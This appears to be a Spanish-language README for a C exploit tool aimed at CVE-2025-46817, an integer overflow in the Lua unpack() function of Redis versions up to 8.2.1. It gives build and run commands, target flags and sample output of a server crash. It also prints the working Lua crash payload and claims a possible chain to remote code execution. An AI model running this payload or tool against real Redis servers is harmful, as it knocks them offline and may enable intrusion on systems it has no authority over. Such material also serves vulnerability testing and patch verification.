
Exploit basado en C para CVE-2025-46817, una vulnerabilidad de desbordamiento de enteros en Redis, que permite la detección de caídas y un posible RCE mediante una carga útil de Lua unpack().
Una implementación ligera en C del exploit CVE-2025-46817 para la vulnerabilidad de desbordamiento de enteros en Redis.
sudo apt-get update
sudo apt-get install build-essential libhiredis-dev
sudo yum install gcc hiredis-devel
brew install hiredis
gcc -o exploit exploit.c -lhiredis
./exploit -H 127.0.0.1 -P 6379
./exploit -H 192.168.1.100 -P 6379 -t 5
-H <host> Host del servidor Redis (obligatorio)
-P <port> Puerto del servidor Redis (obligatorio)
-t <timeout> Tiempo de espera de conexión en segundos (por defecto: 10)
-h Mostrar mensaje de ayuda
██▓███ █ █░███▄ █ ▄▄▄▄ █ ██ █████▒ █████▒▓█████ ██▀███
▓██░ ██▒▓█░ █ ░█░██ ▀█ █ ▓█████▄ ██ ▓██▒▓██ ▒▓██ ▒ ▓█ ▀ ▓██ ▒ ██▒
▓██░ ██▓▒▒█░ █ ░█▓██ ▀█ ██▒▒██▒ ▄██▓██ ▒██░▒████ ░▒████ ░ ▒███ ▓██ ░▄█ ▒
▒██▄█▓▒ ▒░█░ █ ░█▓██▒ ▐▌██▒▒██░█▀ ▓▓█ ░██░░▓█▒ ░░▓█▒ ░ ▒▓█ ▄ ▒██▀▀█▄
▒██▒ ░ ░░░██▒██▓▒██░ ▓██░░▓█ ▀█▓▒▒█████▓ ░▒█░ ░▒█░ ░▒████▒░██▓ ▒██▒
▒▓▒░ ░ ░░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ░▒▓███▀▒░▒▓▒ ▒ ▒ ▒ ░ ▒ ░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░▒ ░ ▒ ░ ░ ░ ░░ ░ ▒░▒░▒ ░ ░░▒░ ░ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░
░░ ░ ░ ░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░
░
Herramienta de Exploit CVE-2025-46817
Desbordamiento de Enteros -> Cadena RCE
Acceso -> https://pwnbuffer.org/
Autor: Slayerkkk
Objetivo: Redis <= 8.2.1
Tipo: Corrupción de Memoria -> Ejecución de Código
ℹ️ Probando conexión a 127.0.0.1:6379...
✅ Conexión exitosa
ℹ️ Versión de Redis: 8.2.1
❌ VULNERABLE - Versión <= 8.2.1
ℹ️ Probando scripting Lua...
✅ Lua habilitado (1+1=2)
🚀 INICIANDO EXPLOTACIÓN
==================================================
💀 Ejecutando payload del exploit...
Payload: Desbordamiento de enteros mediante unpack()
💥 SERVIDOR CAÍDO - ¡Conexión perdida!
📊 RESULTADO DE LA EXPLOTACIÓN
==============================
💥 Estado: caído (2.34s)
💀 ¡EXPLOTACIÓN EXITOSA - El servidor se ha caído!
Vulnerabilidad CVE-2025-46817 confirmada
El exploit apunta a un desbordamiento de enteros en la implementación de la función unpack() de Lua en Redis (luaB_unpack). Cuando se llama con parámetros específicos, la aritmética de enteros con signo se desborda, lo que provoca que Redis intente materializar una cantidad enorme de valores de retorno.
local data = {1, 2, 3}
return {unpack(data, -2147483648, 2147483647)}
La herramienta reporta uno de estos estados:
Autor: Slayerkkk
Sitio web: https://pwnbuffer.org